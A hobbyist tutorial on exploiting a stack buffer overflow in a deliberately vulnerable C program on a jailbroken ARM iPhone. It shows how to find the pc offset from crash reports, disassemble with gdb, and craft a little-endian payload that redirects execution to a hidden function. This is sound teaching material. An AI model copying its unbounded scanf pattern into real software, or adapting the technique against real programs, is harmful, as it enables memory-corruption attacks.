0x02 Exploiting buffer overflow vulnerability

In this example we will disassemble our binary app code in search for hidden function, then we will exploit buffer overflow vulnerability to take advantage of changing our app execution flow.

0x02.c

Let’s create new file 0x02.c with code:

#include <stdio.h>
#include <string.h>

void hidden(){
    printf("You run hidden function, yay! ;) ");
    system("uname -a");
}

int main() {
    printf("0x02 Hello Buffer Overflow with Hidden Function\n"); 
    printf("enter some data:\n");

    char buff[12];
    scanf("%s", buff);
    printf("You entered: %s\n", buff);
    return 0;
}

Compile and sign binary:

$ clang 0x02.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x02
$ ldid -S 0x02

All right, so when we run our app normally, it should print some info, wait for user input and print that data it received. But if we try to enter more data than it expects we can crash it like in previous example:

$ ./0x02 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault: 11

And take a look at our crash report:

$ cat /var/mobile/Library/Logs/CrashReporter/0x02-2020-08-04-113352.ips 
...
Thread 0 crashed with ARM Thread State (32-bit):
    r0: 0x00000000    r1: 0x00000000      r2: 0x3af14f80      r3: 0x00000000
    r4: 0x00000000    r5: 0x0000bec0      r6: 0x00000000      r7: 0x41414141
    r8: 0x00217d40    r9: 0x00000000     r10: 0x00000000     r11: 0x00000000
    ip: 0x00012068    sp: 0x00217d30      lr: 0x0000bf2c      pc: 0x41414140
  cpsr: 0x40000030
...

In pc value we again notice this address: 0x41414140. 41 is hex value for capital letter A which means that our program has overwritten program counter with value we entered. Other letter reference can be found in ASCII tables.

To find which part of our string actually got written to pc, we can serve our script value with which we can easily distinguish values (with ASCII/hex tables):

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK

In crash report, we can see that the value written to pc is 0x46464644. Looking at the ascii/hex tables this is value of FFFF. Write that down, as we need this information to know how much offset we need to pass another function memory address in stead of dummy value.

Disassembling

To analyse our program we will disassemble binary with gdb (or lldb, works simmilar). Checkout gdb cheat sheet here https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf .

Every C progamm has a main() function, so let’s try to see what happens in this app main function:

$ gdb 0x02
$ (gdb) disassemble main

Dump of assembler code for function main:
0x0000bea8 <main+0>:  80 40 2d e9                   push	{r7, lr}
0x0000beac <main+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000beb0 <main+8>:  20 d0 4d e2                   sub	sp, sp, #32	; 0x20
0x0000beb4 <main+12>:  9b 0f 0b e3                   movw	r0, #49051	; 0xbf9b
0x0000beb8 <main+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000bebc <main+20>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000bec0 <main+24>:  04 10 07 e5                   str	r1, [r7, #-4]
0x0000bec4 <main+28>:  4a 00 00 eb                   bl	0xbff4
0x0000bec8 <main+32>:  cc 1f 0b e3                   movw	r1, #49100	; 0xbfcc
0x0000becc <main+36>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000bed0 <main+40>:  0c 00 8d e5                   str	r0, [sp, #12]
0x0000bed4 <main+44>:  01 00 a0 e1                   mov	r0, r1
0x0000bed8 <main+48>:  45 00 00 eb                   bl	0xbff4
0x0000bedc <main+52>:  de 1f 0b e3                   movw	r1, #49118	; 0xbfde
0x0000bee0 <main+56>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000bee4 <main+60>:  10 20 8d e2                   add	r2, sp, #16	; 0x10
0x0000bee8 <main+64>:  08 00 8d e5                   str	r0, [sp, #8]
0x0000beec <main+68>:  01 00 a0 e1                   mov	r0, r1
0x0000bef0 <main+72>:  02 10 a0 e1                   mov	r1, r2
0x0000bef4 <main+76>:  3f 00 00 eb                   bl	0xbff8
0x0000bef8 <main+80>:  e1 1f 0b e3                   movw	r1, #49121	; 0xbfe1
0x0000befc <main+84>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000bf00 <main+88>:  10 20 8d e2                   add	r2, sp, #16	; 0x10
0x0000bf04 <main+92>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000bf08 <main+96>:  01 00 a0 e1                   mov	r0, r1
0x0000bf0c <main+100>:  02 10 a0 e1                   mov	r1, r2
0x0000bf10 <main+104>:  37 00 00 eb                   bl	0xbff4
0x0000bf14 <main+108>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000bf18 <main+112>:  00 00 8d e5                   str	r0, [sp]
0x0000bf1c <main+116>:  01 00 a0 e1                   mov	r0, r1
0x0000bf20 <main+120>:  07 d0 a0 e1                   mov	sp, r7
0x0000bf24 <main+124>:  80 80 bd e8                   pop	{r7, pc}
End of assembler dump.

These lines state the following:

0x0000bec0          <main+0>:	            push	                    {r7, lr}
memory location     offset from main()      arm assembly instruction    registers 

Ok, we know something about main function, but what are other functions in this program? We can check it in gdb with following command. We should get a lot of __dyld functions, but at the end there is listed something interesting - function named hidden.

(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000be70  hidden
0x0000bea8  main
0x0000bf28   stub helpers
0x0000bff4  dyld_stub_printf
0x0000bff8  dyld_stub_scanf
0x0000bffc  dyld_stub_system

Other versions of gdb may work slightly different, display more or less info, etc, but in general it should show data as above. Not at the moment, but with the time it will be helpful to get to know a little bit more about basic assembly instructions to analyse binary more deeply. For now, we should notice that binary we analyse is basically calling functions: printf, scanf and system. The last two shouldn’t be used in normal apps but here’s just for tutorial process.

In C programming is known that scanf is a vulnerable function due to it’s lack of data bounds checking, leading to possibility of writing to stack more characters than declared resulting in overwriting other data. Of course we will take advantage of this in exploiting our program.

But first let’s check out addresses of our hidden function:

$ gdb 0x02
$ (gdb) disassemble hidden

Dump of assembler code for function hidden:
0x0000be70 <hidden+0>:  80 40 2d e9                   push	{r7, lr}
0x0000be74 <hidden+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000be78 <hidden+8>:  08 d0 4d e2                   sub	sp, sp, #8	; 0x8
0x0000be7c <hidden+12>:  70 0f 0b e3                   movw	r0, #49008	; 0xbf70
0x0000be80 <hidden+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000be84 <hidden+20>:  5a 00 00 eb                   bl	0xbff4
0x0000be88 <hidden+24>:  92 1f 0b e3                   movw	r1, #49042	; 0xbf92
0x0000be8c <hidden+28>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be90 <hidden+32>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000be94 <hidden+36>:  01 00 a0 e1                   mov	r0, r1
0x0000be98 <hidden+40>:  57 00 00 eb                   bl	0xbffc
0x0000be9c <hidden+44>:  00 00 8d e5                   str	r0, [sp]
0x0000bea0 <hidden+48>:  07 d0 a0 e1                   mov	sp, r7
0x0000bea4 <hidden+52>:  80 80 bd e8                   pop	{r7, pc}
End of assembler dump.

This function starts at address: 0x0000be70. We will try to input that address into pc to change our program execution.

Now since we know that out string overwrites pc with values after AAAABBBBCCCCDDDDEEEE, we will put our hidden function address right after this string.

Because our architecture is little endian, we should craft our address in reversed way like so:

\x70\xbe\x00\x00

which will result in writing to pc address 0000be70 - and this is entry address of hidden() function. So let’s try it:

$ printf "AAAABBBBCCCCDDDDEEEE\x70\xbe\x00\x00" | ./0x02
0x02 Hello Buffer Overflow with Hidden Function
enter some data:
You entered: AAAABBBBCCCCDDDDEEEEp?
You run hidden function, yay! ;)
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin
Bus error: 10

Yeah we did it 😎 we modified running program execution making it do what we wanted, running hidden function 😄 Before ending let’s just check out addresses crash report:

$ cat /var/mobile/Library/Logs/CrashReporter/0x02-2020-08-05-134552.ips 
...
Exception Type:  EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0x45454545
Termination Signal: Bus error: 10
...
Thread 0 crashed with ARM Thread State (32-bit):
    r0: 0x00000000    r1: 0x00000000      r2: 0x6e440093      r3: 0x00000103
    r4: 0x00000000    r5: 0x0000bea8      r6: 0x00000000      r7: 0x45454545
    r8: 0x001a7d58    r9: 0x00000000     r10: 0x00000000     r11: 0x00000000
    ip: 0x3a051398    sp: 0x45454545      lr: 0x00000000      pc: 0x0000bf24
  cpsr: 0x60000010
...

The thing I couldn’t get for few hours was that why my program crashed at pc: 0x0000bf24, not the value I expected to be there (I entered and was expecting to see 0000be70 here). When you take a look at disassembled functions in gdb again, you will notice that this is the address of last pop assembly instruction in main() function.

What I am trying to say here is that sometimes you can see no output of your program execution override, but analysing carefully addresses and disassembling functions can tell you that you achieved intended purpose but there may be some other reasons you can see no output in shell (just in example). It took me some time to get that with a lot of searching and trying different input strings etc., so don’t give up if something doesn’t work for you.

And congrats on your first successful exploit achieved! 😉

/Sidenote/
If you get "Illegal instruction: 4" while running gdb or objdump or other tool, try to run:

sed -i'' 's/\x00\x30\x93\xe4/\x00\x30\x93\xe5/g;s/\x00\x30\xd3\xe4/\x00\x30\xd3\xe5/g;' /usr/bin/gdb
ldid -s /usr/bin/gdb